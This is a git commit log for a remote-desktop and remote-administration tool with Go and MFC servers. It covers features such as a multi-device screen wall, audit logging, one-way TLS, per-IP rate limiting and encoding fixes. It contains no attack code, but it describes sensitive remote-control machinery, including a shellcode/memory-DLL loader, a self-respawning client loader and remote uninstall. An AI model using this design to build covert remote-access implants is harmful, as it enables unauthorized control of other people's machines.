yuanyuanxianganddeepseek-flash a522424491 Feature: Security audit logging with admin web query page
Add a dedicated security audit trail to the Go server. Login attempts,
authorization denials, WebSocket lifecycle, remote screen and terminal
sessions, clipboard operations, device authentication and admin mutations
now emit stable JSON-line events (audit=true, event=<name>) to a separate
logs/audit.log, mirrored to server.log. The path is configurable through
YAMA_AUDIT_LOG and the separate file can be switched off. Records never
contain passcodes, password hashes, tokens or clipboard contents, and
untrusted string fields are stripped of control characters and truncated
so they cannot forge log lines.

Expose the trail to administrators through a query_audit WebSocket command
and an Audit Log page in the web UI. The page filters by time range, event
(exact or prefix), actor, IP, device id, keyword and warning level, pages
newest-first, and stays hidden unless the server advertises the auditLog
capability, so older C++ servers degrade cleanly. Each query scans at most
the newest 32 MB of the current file to bound latency, records itself as
admin.audit.query, and tolerates torn or non-audit lines.

Add unit tests for event emission and redaction, query filtering, paging,
malformed lines, missing or disabled audit files, and handler
authorization.

Co-Authored-By: deepseek-flash
2026-10-18 18:44:17 +02:00
yuanyuanxianganddeepseek-flash b1ddec1b8a Feature: Offline device history with delete and remote uninstall
Persist every device that has ever logged in to the Go server in a small
JSON store (devices.json, overridable with YAMA_DEVICES_FILE and capped by
YAMA_DEVICES_MAX, default 1000 newest). The store follows the users.json
convention: atomic temp-file write with fsync and rename, a 500 ms debounce
for bursts of reconnects, first_seen preserved across logins, and pruning
that evicts offline records before devices that are still connected.
Devices connected at shutdown are stamped offline before the final flush so
last_seen stays accurate across restarts.

The server advertises an offlineDevices capability and device_list now
appends historical devices that are not online, marked with online:false and
last_seen. The web UI shows an Offline checkbox after Total/Showing (state
kept in localStorage), renders offline cards dimmed and dashed, and always
lists them in the screen-wall sidebar. Older servers without the capability
keep the online-only list.

Grid and List cards gain a delete button after the terminal button, admin
only, behind a confirmation dialog. Deleting an offline device removes its
history record; deleting an online device first sends the single-byte
TOKEN_UNINSTALL command (matching the MFC OnOnlineUninstall flow) and then
removes the record too, so the device does not come back as a dead offline
entry. The agent's own disconnect then runs the existing cleanup path:
screen and terminal sub-connections are closed, the hub entry is removed,
and browsers receive device_offline to release their watch sets, wall
sessions, and stream references. Wall mode exposes no delete action.

Tests cover history persistence/pruning/recovery, offline ordering, the
device_list merge, and all three delete outcomes (offline removal, online
uninstall with a single 0x3F byte, and viewer rejection).

Co-Authored-By: deepseek-flash
2026-10-18 17:54:30 +02:00
yuanyuanxianganddeepseek-flash 1922f87dd2 Feature: Multi-device screen wall on the Go server
Bring the Go web backend up to parity with the MFC server's screen wall.
A browser tab can now stream several devices over one WebSocket: the
single `watching` field becomes a per-connection watch set guarded by the
hub mutex, capped at 32 devices per socket. The challenge advertises
`caps.multiWatch` and `caps.keyframeRequest`, binary frames stay keyed by
the low 32 bits of the device ID, and connect/disconnect replies echo the
device id and request id so the wall can route concurrent responses.

Input commands (mouse, key, clipboard, rdp_reset) resolve their target
from the watch set: an explicit id must be a current subscription, and an
absent id is accepted only while exactly one device is watched. Legacy
frontends that do not send `multiWatch` keep replace-all semantics, so a
repeated device switch cannot grow the set without bound. Offline
devices are removed from every watch set, and teardown is computed from a
snapshot taken outside the hub lock to avoid re-entrant locking.

Add the `keyframe` command: it replays the cached IDR, then asks the
device to emit a fresh one, rate-limited to one request per device per
second. This exposed a Go-only corruption bug: the client answers the
request with TOKEN_KEYFRAME (134), which the dispatcher treated as a
no-op. That token only appears on forced IDRs because the client's GOP is
effectively infinite, so the dropped IDR left the browser decoding
P-frames against a reference chain it never received, producing
persistent garbling. Relay it as a keyframe instead. Also drop the
cached IDR when the resolution changes, mirroring the C++ server, so a
late joiner cannot receive an old-geometry keyframe.

Add tests for the watch-set transitions and for relaying TOKEN_KEYFRAME.

Co-Authored-By: deepseek-flash
2026-10-18 11:51:28 +02:00
yuanyuanxianganddeepseek-flash 8eab26c1f6 Feature: Web screen wall for multi-device live monitoring
Add a third view to the web UI, the screen wall, which shows several
devices at once in one tab with 1x1 / 2x2 / 3x3 / 4x4 / 5x5 layouts and a
device sidebar on the left. Tiles are monitoring-only; clicking one
enlarges that device into the existing single-screen page for control, and
Back returns to the wall. The same device can be added several times: all
tiles of one device share a single decoder and a single stream.

The wall decodes at most 9 streams on desktop and 4 on touch devices.
Tiles beyond the budget keep receiving frames but have their decoder
closed and show the last frame plus a Paused badge; they are promoted
automatically when a live tile goes away. Subscriptions are reference
counted on the client (streams map with owner sets), so a stream is only
connected on the 0 -> 1 transition and disconnected on 1 -> 0, and the
wall and the single-screen page can share one device without tearing the
stream down.

Server side, WebClient now holds a set of watched devices instead of a
single id. A new multiWatch command flag selects set semantics, while
clients without it keep the old replace-all behaviour, so an old frontend
against the new server is unchanged. connect and disconnect responses echo
id and req so the frontend can route them, input commands carry an id and
are resolved against the watch set (dropped when the set has several
devices and no id), and the per-client watch set is capped at 32.

For fast recovery after a pause or when joining late, the server caches
each device's raw IDR payload and replays it on connect and on a new
keyframe command, then asks the client to force a new IDR. The client gets
COMMAND_SCREEN_KEYFRAME_REQ = 169 and an atomic request flag that is only
cleared after an IDR actually came out of the encoder, so a failed capture
or EAGAIN does not lose the request. The frontend retries the keyframe
request up to three times; an old client that ignores the command simply
recovers on the next natural GOP.

Also fix the keyframe cache double wrapping: BroadcastH264Frame used to
cache the full packet header and HandleConnect wrapped it again. The cache
now stores data + 9, len - 9 and every sender wraps it through
BuildFramePacket, and the cache is cleared on cold start and on resolution
change. StopRemoteDesktop is always called outside m_ClientsMutex, with
the ids collected under the lock first.

Co-Authored-By: deepseek-flash
2026-10-18 11:03:17 +02:00
yuanyuanxianganddeepseek-v4-pro 04f4eb9947 Fix: share web login session across browser tabs
The login token and role were stored in sessionStorage, which is
isolated per tab, so opening a second tab forced a fresh password
login. Switch every token/role read and write to localStorage so all
tabs on the same origin share the session and a new tab auto-resumes
it on load. Expiry (device_list ok:false) and explicit logout still
clear it as before.

Co-Authored-By: deepseek-v4-pro
2026-10-17 22:44:50 +02:00
yuanyuanxianganddeepseek-v4-pro 5cea1167be Feature: Web remote desktop phone IME input box ("I")
Add an "I" button to the mobile shortcut bar that opens a chat-style
input box pinned above the virtual keyboard. Text is delivered to the
remote through the existing clipboard bridge (clipboard_set + synthetic
Ctrl+V); an empty box turns Enter/Backspace into remote Enter/Backspace
so the phone can submit and edit text in the focused window. The box
soft-wraps and auto-grows up to four lines.

The box is a <textarea>, so the desktop key-forwarding handlers now skip
TEXTAREA targets as well, which stops an empty-box Backspace from being
forwarded twice (once by imeBackspace, once by the document handler).

Co-Authored-By: deepseek-v4-pro
2026-10-17 22:06:46 +02:00
yuanyuanxianganddeepseek-v4-pro 0c04f7516b Feature: Web remote desktop bidirectional text clipboard sync
Add keyboard-shortcut (Ctrl+C / Ctrl+X / Ctrl+V) text clipboard transfer
between the browser and the remote desktop, reusing the clipboard protocol
that already exists in the native viewer (COMMAND_SCREEN_GET_CLIPBOARD=24,
COMMAND_SCREEN_SET_CLIPBOARD=25, TOKEN_CLIPBOARD_TEXT=118) so the client
needs no change.

Local -> remote: pressing Ctrl+V reads the browser clipboard, pushes it to
the remote clipboard (UTF-8 -> GBK, matching the client's CF_TEXT/ANSI
handling) and then synthesizes a remote Ctrl+V so the pasted text is the
newly delivered one.

Remote -> local: Ctrl+C or Ctrl+X is forwarded to the remote as usual and,
after a short delay, the remote clipboard is pulled back and written to the
browser clipboard for a later local Ctrl+V.

Both the MFC and Go servers get the same three clipboard signaling paths
(clipboard_set, clipboard_get, clipboard_text) so the shared single-page
frontend behaves identically on either backend.

Co-Authored-By: deepseek-v4-pro
2026-10-17 19:52:38 +02:00
yuanyuanxianganddeepseek-v4-pro e6b4fe3a85 Fix: reissue client_id on clone collision and harden V1 file-transfer command
撞 ID 的克隆机(同镜像 MachineGuid 相同导致 client_id 相同)此前会被服务端暂存为
替补、永远无法转正,从而不显示在主机列表。现在服务端检测到「client_id 相同但主机名
不同」时,主动下发 COMMAND_REGEN_CLIENT_ID,客户端在旧 ID 基础上掺随机 UUID 重算后
重连,以新 ID 正常上线;触发条件仅看主机名,排除 IP 漂移与纯用户名变化,避免误伤
正常重连的机器。

同时加固 V1 服务端→客户端文件传输:COMMAND_GET_FILE 指令的一次性 md5 令牌绑定登记
时的客户端源 IP(PutCmd/PopCmd 均带 peerIP),防止异常客户端冒用;并对指令包增加边界
校验(len 与 NUL 结尾),杜绝无 NUL 包导致的越界读。

Co-Authored-By: deepseek-v4-pro
2026-10-17 09:29:33 +02:00
yuanyuanxianganddeepseek-v4-pro d3a339247b Fix: reconnect after server restart without reinstalling the loader
The S_SERVER_EXIT respawn fix previously lived in test.cpp, which a
deployed TestRun.exe cannot pick up without reinstalling. Move the
reconnect decision into ClientDll::IsStoped(): when the master instance
is in S_SERVER_EXIT, report reconnectable immediately instead of waiting
for live shared instances to drain, so the already-deployed loader
reconnects against a hot-loaded DLL.

Shared instances stay connected to their own servers, preserving the
IsSharedRunning contract that the master's state change must not tear
them down.

Also guard the RUNNING_PARALLEL branch so re-entering StartClient on
reconnect spawns parallel instances once instead of duplicating them.

Co-Authored-By: deepseek-v4-pro
2026-10-16 21:36:52 +02:00
yuanyuanxianganddeepseek-v4-pro 33986f4893 Fix: shared-host respawn block and web login brand placeholder
Two unrelated fixes bundled here.

1. Client respawn (ClientDll.cpp EasyRun/Run, test.cpp Run): after a host
   is shared or transferred to another server, restarting the master
   (server A) left the host's main instance stuck, because the respawn
   loop waited on IsStoped() (g_bThreadExit && GetCount()==0), which never
   becomes true while a still-alive shared instance holds AddCount(1).
   S_SERVER_EXIT now triggers an immediate reconnect without waiting for
   shared instances; client-exit / update still waits for all instances to
   drain. Verified by 100 restart cycles.

2. Web login page (WebService.cpp): the MFC web server only substituted
   __BASE_PATH__ in index.html and left __BRAND_NAME__ as a literal token
   in the login page title/heading. Substitute it with "SimpleRemoter" to
   match the original branding and the Go server's default.

Co-Authored-By: deepseek-v4-pro
2026-10-16 21:08:42 +02:00
yuanyuanxianganddeepseek-v4-pro e5f5720867 Fix: Add missing FileManagerDlg translations to language files
FileManagerDlg.cpp still had several user-facing Chinese strings with no
entry in en_US/zh_TW/de_DE: the "invalid file handle", "no files
selected", "V2 transfer started", "V2 download request sent" and "main
connection not found" messages. Add translations for all five.

The "main connection not found" string contained a literal '=', which
CIniParser treats as the key/value delimiter, so it could never match as
a translation key. Reword it to "clientID %llu" (no '=') so the key
round-trips. The two Mprintf log lines on the V2 checksum path are
log-only and intentionally left untranslated.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:54:00 +02:00
yuanyuanxianganddeepseek-v4-pro d7b49a3d06 Feat: Add whitelist action to log-list right-click menu
Adds a "白名单" item after "解除封禁" in the message-log context menu.
It extracts the IP from each selected log entry, asks for confirmation,
then adds it to the shared IPWhitelist singleton — which IOCPServer and
the DLL rate limiter already consult live — so the entry takes effect on
new connections immediately, without a restart. The whitelist is
persisted to settings\IPWhitelist the same way the Network dialog does.

- An IP already in the whitelist is reported as such and skipped.
- An IP in the IP blacklist (banned) is reported as banned and skipped,
  rather than silently removed from the blacklist.
- Menu item, confirmation, and result strings are added to the
  en_US/zh_TW/de_DE language files.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:16:33 +02:00
yuanyuanxianganddeepseek-v4-pro c85039ea0a Fix: Online-host list column-toggle leaves ghost artifact after last column
CListCtrlEx::OnEraseBkgnd (with m_bSkipEraseBkgnd) only erases the empty
area below the last item, not the horizontal strip right of the last
column (the ~20px scrollbar reserve AdjustColumnWidths always leaves).
Changing the column count via SetColumnVisible/ToggleColumnVisibility
redistributed widths but never repainted with background erase, so stale
pixels from the previous last column lingered next to the new one (e.g.
after "TLS") until a tab switch or minimize/restore forced a full redraw.

Mirror the proven OnSize needRefresh path: temporarily lift the
skip-erase flag and issue a full RedrawWindow with
RDW_ERASE|RDW_INVALIDATE|RDW_ALLCHILDREN|RDW_UPDATENOW after each
visibility change.

Co-Authored-By: deepseek-v4-pro
2026-10-16 13:03:05 +02:00
yuanyuanxianganddeepseek-v4-pro a447452521 Fix: Silence SOCKET_DLLLOADER log flood and tighten device-port logging
SOCKET_DLLLOADER (210) is the shellcode / memory-DLL loader asking the
server for the full DLL payload before it can load the client. The MFC
master console serves it via SendServerDll; the Go web device port has no
payload to hand out, so every memory-DLL client startup/reconnect fell
into the default dispatch branch and logged "Unhandled command 210",
flooding the log. Add a protocol constant and drop the command silently.

While auditing the device-port logging surface:

- Downgrade wrapTLS's per-connection hex-dump lines and the screen-spy
  "[timing]" cold-start line from Info to Debug (they fire once per TCP
  connection / screen view and are diagnostics, not operational events).

- Distinguish a sub-connection hijack attempt from a plain orphan: when a
  screen/terminal sub-conn claims a MasterID from a source IP other than
  the device's login conn, log a dedicated Warn instead of mislabeling it
  as "orphan ... unknown device".

Co-Authored-By: deepseek-v4-pro
2026-10-16 12:26:35 +02:00
yuanyuanxiang 614b03994c Fix: No permission to share/transfer a client host issue 2026-10-16 07:35:53 +02:00
yuanyuanxianganddeepseek-v4-pro 99e3bcbc6d Feat: Per-client TLS transport toggle (TLS column + remote enable/disable)
Add a per-client TLS transport toggle controlled from the server, using the
presence of the client's trust-anchor certificate in the registry as the
single source of truth (no separate tls_enable flag).

- Client reports its TLS status via a new RES_TLS token (cert present -> 1)
  appended to LOGIN_INFOR's reserved field.
- Server online list gains a "TLS" column after the permission column.
- The "experimental features" right-click menu gains "TLS传输" / "取消TLS"
  with confirmation and a guard that prompts (instead of sending) when the
  server has no TLS certificate ready.
- New COMMAND_TLS_ENABLE / COMMAND_TLS_DISABLE (166/167): the server pushes
  its cert PEM into the client registry settings\tls_cert (enable) or deletes
  it (disable). The client picks this up on next startup via the existing
  ReadTrustAnchor logic, so the switch is non-live by design.
- Icons and en_US/zh_TW/de_DE translations for the new menu items.

Co-Authored-By: deepseek-v4-pro
2026-10-16 07:04:54 +02:00
yuanyuanxianganddeepseek-v4-pro 8f02e73b9c Fix: Refresh MCP menu checkmark after settings change
The MCP settings menu item's checkmark was set only once at startup in
CreateSolidMenu, so toggling MCP in the settings dialog left the menu stale
until restart. Update the checkmark in OnMcpSettings after the dialog closes
so it matches [settings] McpEnabled immediately.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 7651ee8602 Feat: ConnAuth HMAC verification gated by YAMA_CONN_AUTH_KEY
Verify the HMAC-SHA256 signature and timestamp of device sub-connections
(screen/terminal/file) when the YAMA_CONN_AUTH_KEY environment variable is
set. With the key set, a sub-connection whose signature or clock skew fails
is answered with a non-OK ConnAuth status and dropped; without the key the
legacy always-OK behavior is preserved.

The key is never compiled in: it is read from the environment at startup, so
no secret enters the repository. Source-IP binding in hub.BindScreenConn
remains in place as defense-in-depth.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 4ff965a2b4 Feat: White-label web UI branding for subpath deployments
When the web remote desktop is mounted under another domain's subpath
(YAMA_WEB_BASE_PATH non-empty), read the product title from
YAMA_WEB_BRAND_NAME, substitute it for the SimpleRemoter titles and
PWA manifest name, and strip the security notice and website links.
The brand name is JSON- and HTML-escaped so operator input can't
produce malformed output. Served from the domain root, the official
SimpleRemoter branding is left unchanged.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro 77b688c981 Feat: Fold hostname into client ID and log clone-ID collisions
Cloned miniPC images share the same MachineGuid, so their client_id
collides and only one host appears in the list. Fold the hostname into
the V2 client-ID hash so hosts with distinct names no longer collide.
Already-persisted client IDs are unchanged: they recompute only after
the settings/client_id registry value is cleared.

Server side, when a login reuses an existing client_id but the hostname,
IP, or username differs, emit a WARN diagnostic before assigning the
connection to the standby list. Observation-only, no behavior change.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:43:58 +02:00
yuanyuanxianganddeepseek-v4-pro c93f09e9ac Feat: TLS certificate menu and config dialog for the MFC server
Add a "TLS证书" item to the Extensions menu below "MCP设置" that opens a
runtime-built dialog to enable one-way TLS and set the certificate and
private-key paths. On OK it writes the [tls] Enabled/CertPath/KeyPath keys
and calls ServerTlsIdentity::Load() so the change takes effect for new
connections immediately (design doc §7.1), mirroring the existing
CMcpSettingsDlg runtime-template pattern. All new strings are wired into
the en_US / zh_TW / de_DE language files, and the menu item is gated by
HIDE_MENU_TLS_CERTIFICATE / MF_TLS_CERTIFICATE like MCP settings.

Co-Authored-By: deepseek-v4-pro
2026-10-15 19:42:52 +02:00
yuanyuanxianganddeepseek-v4-pro 96b9eea70a Feat: One-way TLS transport for the MFC server
Add optional one-way TLS to the MFC server (server/2015Remote) so the device
port can serve both TLS clients and legacy plaintext clients on the same port,
mirroring the Go server.

Server: on a connection's first bytes, sniff for a TLS ClientHello (0x16 0x03
+ handshake type 0x01). When [tls] Enabled=1 and the identity loads, hand the
socket to a short-lived blocking handshake thread (Option A) running Schannel
AcceptSecurityContext, then decrypt on recv and encrypt on send; plaintext
connections replay the sniffed bytes straight into the existing parse path, so
the plaintext code path is otherwise unchanged. The identity is loaded once
from [tls] CertPath/KeyPath as PEM + CNG (PKCS#8) — the same key pair the Go
server uses — and a missing [tls] section, an empty value, or a load failure
leaves plaintext serving intact and fail-closes any TLS ClientHello.

Also fix two transport-reliability bugs that surfaced end-to-end:
- send path: encrypt only the freshly appended plaintext tail and post a
  single IOWrite wake-up guarded by a bSendPending flag, so back-to-back small
  sends (terminal resize -> COMMAND_NEXT -> resize) no longer run concurrent
  WSASends over the same mutable buffer (client saw DecryptMessage failures,
  with WSAGetLastError() = 6001 / ERROR_DECRYPTION_FAILED);
- client Recv: keep the handshake's unconsumed tail bytes in m_raw and drain
  them before the next recv, and log the real SECURITY_STATUS on
  DecryptMessage failure instead of the stale Winsock error.

Co-Authored-By: deepseek-v4-pro
2026-10-15 13:48:27 +02:00
yuanyuanxianganddeepseek-v4-pro ca0d7626d2 Feat: One-way TLS transport for the device port
Add optional one-way TLS on the device port (6543), enabled per client via a
pinned trust anchor, so new clients encrypt their transport while legacy
plaintext clients keep working unchanged.

Server (server/go): sniff each accepted connection and wrap TLS peers
(ClientHello 0x16 0x03 + handshake type 0x01) in crypto/tls with MinVersion
TLS 1.2; everything else stays on the plaintext path. TLS is enabled only when
both YAMA_TLS_CERT and YAMA_TLS_KEY are set, and a cert/key load failure fails
startup loudly rather than silently serving plaintext.

Client (client/, Windows): Schannel one-way TLS. When the trust anchor is
present — registry value Software\<exehash>\settings\tls_cert (REG_SZ holding
the PEM), with fallback to settings.ini [settings] tls_cert or yama-ca.pem
beside the exe — every outbound connection (main + sub-connections) completes
a TLS 1.2 handshake before the app protocol and is strictly pinned to that
anchor via a chain engine with hExclusiveRoot; any handshake/cert failure is
fail-closed (no plaintext downgrade). Send uses EncryptMessage; Recv uses
DecryptMessage and reads plaintext from the stream-mode DATA segment (bufs[1])
rather than the record header.

Co-Authored-By: deepseek-v4-pro
2026-10-14 21:10:21 +02:00
yuanyuanxianganddeepseek-v4-pro 8d4c118ae6 Fix: Skip video capture when camera fails to open
CCaptureVideo::Open now returns S_FALSE when BindVideoFilter cannot bind a capture device, instead of S_OK. CVideoManager records the result in m_bVideoOpened and exits WorkThread before SendBitMapInfor, so a host without a webcam no longer sends a 0x0 BITMAPINFO to the controller.

Co-Authored-By: deepseek-v4-pro
2026-10-13 17:05:37 +02:00
yuanyuanxianganddeepseek-v4-pro d477cbfee9 Fix: Treat a zero MaxBufferedBytes as disabled
Consistent with the per-IP limits, a zero cap now means "no limit" instead
of closing every connection after its first byte, so a Config built from
zero values cannot wedge the listener.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:28:13 +02:00
yuanyuanxianganddeepseek-v4-pro 870a5832ea Security: Cap per-connection inbound buffer to prevent memory DoS
The protocol length field is validated to 50 MiB, but a peer that sends
bytes which never assemble into a complete packet — for example an HTTP-mask
envelope without its terminating CRLF CRLF, which Parse() waits on
indefinitely — could grow the per-connection input buffer without bound.
handleConnection now closes the connection once unparsed buffered bytes
exceed MaxBufferedBytes (default 50 MiB + 64 KiB slack, covering the largest
legitimate packet plus its mask envelope and a read chunk).

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:27:20 +02:00
yuanyuanxianganddeepseek-v4-pro 8e0f1283c6 Security: Add per-IP connection and login rate limiting
The TCP device port is exposed directly to the public internet, so a single
host must not be able to exhaust the global connection budget, flood new
connection attempts, or brute-force the device authorization passcode.

- server: cap concurrent connections and the accept rate per source IP
  (defaults 256 concurrent / 120 per minute, overridable via
  YAMA_PERIP_MAX_CONNS and YAMA_PERIP_CONN_RATE). Rejections happen at
  accept time, before any buffer or goroutine is allocated, and a rejected
  device simply retries on its reconnect loop.
- cmd: throttle TOKEN_AUTH per source IP (120/min) and answer over-limit
  attempts with a normal failed response so clients get a definitive reply.
- web: periodically sweep the login rate-limit maps so the username-keyed
  one (which is attacker-controlled) cannot grow without bound.

Per-IP defaults are generous enough that a NAT office whose devices share
one source IP is unaffected.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:25:34 +02:00
yuanyuanxianganddeepseek-v4-pro 2de21b2b6b Fix: Bind screen/terminal sub-conns only to the device's source IP
A screen or terminal sub-connection was keyed solely by a MasterID that any
TCP peer may supply, so any internet host could claim an online device's
MasterID and bind a sub-conn in its place, hijacking the live screen stream
or a pending shell session. The ConnAuth signature cannot be verified on the
server because its key lives in a vendored client library, so the trust
anchor here is the source IP: sub-conns are always opened device-to-server
from the same host as the login conn. BindScreenConn and BindTerminalConn
now reject a sub-conn whose peer IP differs from the device's recorded
main-connection PeerIP.

Co-Authored-By: deepseek-v4-pro
2026-10-13 16:19:39 +02:00
yuanyuanxianganddeepseek-v4-pro 53b7151fb7 Feature: Add admin-only SSO bridge to web UI
Bridge an already-authenticated portal session into a YAMA web session via
a new /sso endpoint, so portal administrators can enter the remote-desktop
UI without a second login. Only the "admin" portal role is bridged; any
other role (viewer, unknown) still falls back to the built-in login form,
so a low-privileged portal account cannot bypass authentication.

- wsauth: extract IssueToken from VerifyLogin so an out-of-band-authenticated
  identity (SSO) can mint a session token without the challenge/response.
- web: add the SSODetector interface, a fail-closed JWT detector (HMAC-only),
  and the /sso handler gated to the admin role.
- cmd: enable the JWT detector via YAMA_SSO_JWT_SECRET, the shared HS256
  secret matching the parent portal.
- web UI: attempt SSO before showing the login form, falling back to login
  when the server returns 401.
- docs: document SSO (admin-only) and license trial-vs-paid troubleshooting
  in README and the env example.

Co-Authored-By: deepseek-v4-pro
2026-10-13 15:46:04 +02:00
yuanyuanxianganddeepseek-v4-pro d2149851b2 Fix: Decode host-management and clipboard text as GBK/UTF-8 on non-Chinese systems
The 主机管理 dialog wrote client data (process names, window titles, net
connection state, software entries, IE history, favorites, services,
scheduled tasks, hosts) through the ANSI InsertItem/SetItemText path, which
re-converts through CP_ACP and garbles Chinese when the operator machine
runs a non-Chinese ACP. Decode each client string with its real code page
and write it via LVM_SETITEMTEXTW, mirroring SystemDlg::SetClientTextItem.
Scheduled-task columns are split by encoding: name/path/exe come from the
client as UTF-8 (BSTRToUTF8) while the status literal stays GBK. Also detect
a UTF-8 BOM in the hosts file so a Notepad-saved hosts (EF BB BF) no longer
shows "锘?" on its first line.

In the keyboard dialog, the clipboard preview edit was an ANSI-class window
filled via utf8_to_ansi (CP_ACP) + SetWindowTextA, so Chinese was replaced
with '?' before it reached the control. Rebuild m_EditClipText as a
Unicode-class window and write the UTF-8 clipboard text via SetWindowTextW,
matching the m_edit record control.

Co-Authored-By: deepseek-v4-pro
2026-10-12 15:41:24 +02:00
yuanyuanxianganddeepseek-v4-pro ca6f76565c Change: Hide client chat dialog on close instead of terminating
Closing the client-side chat dialog (via the "end chat" button or the title-bar
X) now only hides the window and keeps the session alive, instead of destroying
it. Closing the chat stays server-initiated: the next message from the server
reopens the hidden dialog via the existing SW_RESTORE path in OnReceive, and the
dialog is only truly destroyed on COMMAND_CHAT_CLOSE or connection close.

Co-Authored-By: deepseek-v4-pro
2026-10-10 14:39:34 +02:00
yuanyuanxianganddeepseek-v4-pro d15cd77a28 Fix: Decode geographic location as UTF-8 across client and server
Geographic location (city, country) from the geo APIs is UTF-8, but the client
and several server paths converted or stored it in the system ANSI code page,
turning umlauts ("ö"/"ä") into "?" or GBK mojibake ("B枚blingen"). Keep the
value UTF-8 end to end: the client caches it as UTF-8 and re-queries once after
an upgrade (keyed by __DATE__, the app's version convention), while the server
stores and displays it as UTF-8 in the online list, the activity log, the
client-info export, JSON/email payloads and search.

Also add a confirmation prompt before opening a remote chat from the toolbar,
with German, English and Traditional-Chinese translations.

Co-Authored-By: deepseek-v4-pro
2026-10-10 13:58:38 +02:00
yuanyuanxianganddeepseek-v4-pro 1a9312d2d1 Fix: Decode remote file-list names/paths from GBK/UTF-8 on non-Chinese systems
The Windows ghost client lists directories with FindFirstFileA, so remote
file names arrive as GBK/936 bytes. Both file-manager dialogs wrote them
back through ANSI InsertItem/SetItemText, which re-converts through CP_ACP
and garbles Chinese names when the operator machine runs a non-Chinese ACP.

Decode the name/path from the client encoding (GBK for Windows, UTF-8 for
LNX/MAC, chosen by RES_CLIENT_TYPE) and write the text via LVM_SETITEMTEXTW,
keeping the icon through an empty InsertItem - the same pattern used for the
process list, window list and client-list path.

Co-Authored-By: deepseek-v4-pro
2026-10-09 16:23:23 +02:00
yuanyuanxianganddeepseek-v4-pro f3a8406050 Fix: Decode client file path correctly in client list and info popup
The client reports its own exe path as UTF-8 in RES_FILE_PATH. Two
display sites re-decoded those bytes with the wrong code page and turned
Chinese paths into mojibake on non-Chinese servers:

- The client-list "程序路径" column wrote ProgramPath through the ANSI
  SetItemText path, so the UTF-8 bytes were misread as the system ACP.
  Decode UTF-8 to wide and write with LVM_SETITEMTEXTW instead (same
  pattern as the window/process lists).

- The double-click info popup normalized the client RES_* fields to the
  system ACP and rendered strText with CP_ACP -> wide. The app's internal
  ANSI convention is fixed GBK/936 (/execution-charset:.936 plus
  setlocale(".936")), so on non-Chinese systems the path collapsed to '?'.
  Normalize to 936 and decode 936 instead, which also fixes the popup's
  GBK labels and username in the same pass.

Co-Authored-By: deepseek-v4-pro
2026-10-09 15:00:39 +02:00
yuanyuanxianganddeepseek-v4-pro ff6b290580 Fix: Decode process list names/paths as GBK on Windows
Process management decoded the client's process name/path bytes with
GetClientEncoding, which returns UTF-8 for CLIENT_CAP_UTF8 clients. But
the Windows client builds the process list with the ANSI A-interface
(Process32FirstA / QueryFullProcessImageNameA), which emits the client's
system code page (GBK on Chinese Windows) regardless of the UTF-8
capability -- unlike window titles, which were migrated to the
W-interface plus UTF-8. Decoding GBK as UTF-8 garbled Chinese process
names and paths.

Add GetProcessListEncoding(): 936 for Windows clients, UTF-8 for
LNX/MAC, matching McpServer::BuildListProcesses, and use it in
ShowProcessList (which still writes via LVM_SETITEMTEXTW).

Also raise the IP history cap to 1000 and rename the experimental
"隐私屏幕" menu item to "虚拟屏幕".

Co-Authored-By: deepseek-v4-pro
2026-10-09 14:05:52 +02:00
yuanyuanxianganddeepseek-v4-pro da0ec983ba Feature: Show live transfer speed in file-transfer dialog title
Add a smoothed bytes-per-second readout to the CDlgFileSend title,
refreshed about every 200 ms during transfer (e.g. "发送文件 - 5.3M/s").
The base title is captured on the first progress frame and the speed
suffix applied through Unicode APIs (GetWindowTextW / SetWindowTextW),
so the whole title stays correct on non-Chinese systems where the ANSI
message path would misdecode GBK as the system ACP.

Also add the missing "接收文件 (V2)" translation (en_US "Receive File (V2)",
zh_TW "接收檔案 (V2)"), so the V2 receive title no longer falls back to
raw Chinese on non-Chinese systems.

Co-Authored-By: deepseek-v4-pro
2026-10-08 22:15:31 +02:00
yuanyuanxianganddeepseek-v4-pro 6220335f63 Fix: Decode GBK dialog/toolbar text on non-Chinese systems
MBCS dialog templates are decoded with the system ANSI code page, so on
non-Chinese systems the GBK template strings turn into "?" before
TranslateDialog can read them. Set those strings explicitly in OnInitDialog
(PluginSettings save/close, the three Advanced dialogs, the file-manager
search buttons/checkboxes, and Trigger Settings) so they are re-decoded
with the thread locale. Also fix the language-selection dialog and the
toolbar "Lang/语言" button: the language dialog's template is built as
WCHAR strings but created through the ANSI path, so its title, label, and
buttons are set explicitly in OnInitDialog (AppendString stays on CP_ACP),
with the title looked up via _TR("切换语言") and set through SetWindowTextW
after an explicit GBK conversion; new en_US ("Switch Language") and zh_TW
("切換語言") translations accompany it. The toolbar button is set through
the Unicode TB_SETBUTTONINFOW message after an explicit GBK conversion. Add
en_US/zh_TW translations for the experimental-features context menu items.

Co-Authored-By: deepseek-v4-pro
2026-10-08 21:53:53 +02:00
yuanyuanxianganddeepseek-v4-pro c7f7b7b29b Fix: Expand env vars in V2 file receive path
V2 upload to a remote directory picked via the quick-icon shortcuts
(Desktop / Downloads / Home) landed files in a literal "%USERPROFILE%"
folder instead of the real profile. The shortcuts set m_Remote_Path to an
unexpanded "%USERPROFILE%\..." template (FileManagerDlg.cpp
OnRemoteDesktop/Downloads/Home), and the V2 receive path handed that
filename straight to RecvFileChunkV2 (prebuilt FileUpload lib), which writes
it verbatim. V1 upload already expanded env vars in COMMAND_FILE_SIZE
(client/FileManager.cpp ExpandPath), so this is a V2-only regression.

Expand the filename's environment variables in CKernelManager::OnReceive's
COMMAND_SEND_FILE_V2 branch before RecvFileChunkV2, rebuilding the packet
only when the expanded length differs; other packet types pass through
unchanged.

Co-Authored-By: deepseek-v4-pro
2026-10-08 17:56:18 +02:00
yuanyuanxianganddeepseek-v4-pro 59fead7b5f Fix: Deliver file-transfer speed via MasterSettings (was CMD_FILE_SPEED)
The file-transfer speed dialog previously sent a separate CMD_FILE_SPEED
(5 bytes) back-to-back before COMMAND_SCREEN_SPY / COMMAND_LIST_DRIVE when
